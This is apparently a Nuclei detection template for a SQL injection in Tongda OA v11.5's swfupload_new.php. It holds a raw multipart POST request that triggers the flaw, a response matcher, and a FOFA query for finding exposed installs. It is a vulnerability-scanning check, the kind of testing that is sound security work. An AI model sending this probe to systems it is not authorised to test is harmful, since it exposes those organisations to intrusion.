tongda-oa-swfupload-sqli: Tongda OA v11.5 swfupload_new.php - SQL Injection

id: tongda-oa-swfupload-sqli

info:
  name: Tongda OA v11.5 swfupload_new.php - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    There is a SQL injection vulnerability in the swfupload_new.php file of Tongda OA v11.5. An attacker can obtain sensitive information of the server through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/通达OA/通达OA%20v11.5%20swfupload_new.php%20SQL注入漏洞.html
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/tongda-swfupload-new-sql-inject.yaml
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="TDXK-通达OA"
  tags: tongda,sqli,intrusive,vuln

http:
  - raw:
      - |
        POST /general/file_folder/swfupload_new.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2
        Accept-Encoding: gzip

        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="ATTACHMENT_ID"

        1
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="ATTACHMENT_NAME"

        1
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="FILE_SORT"

        2
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="SORT_ID"

        ------------GFioQpMK0vv2--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "insert into FILE_CONTENT("

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100aee973e84a7f06cba876f36ba8b10c921c966efaf1206c20e5a97a0765393272022100a5e7a0954d59553a1c653a3d65d154a8303ed1f9df38f13007458fd6134cc472:922c64590222798bb761d5b6d8e72950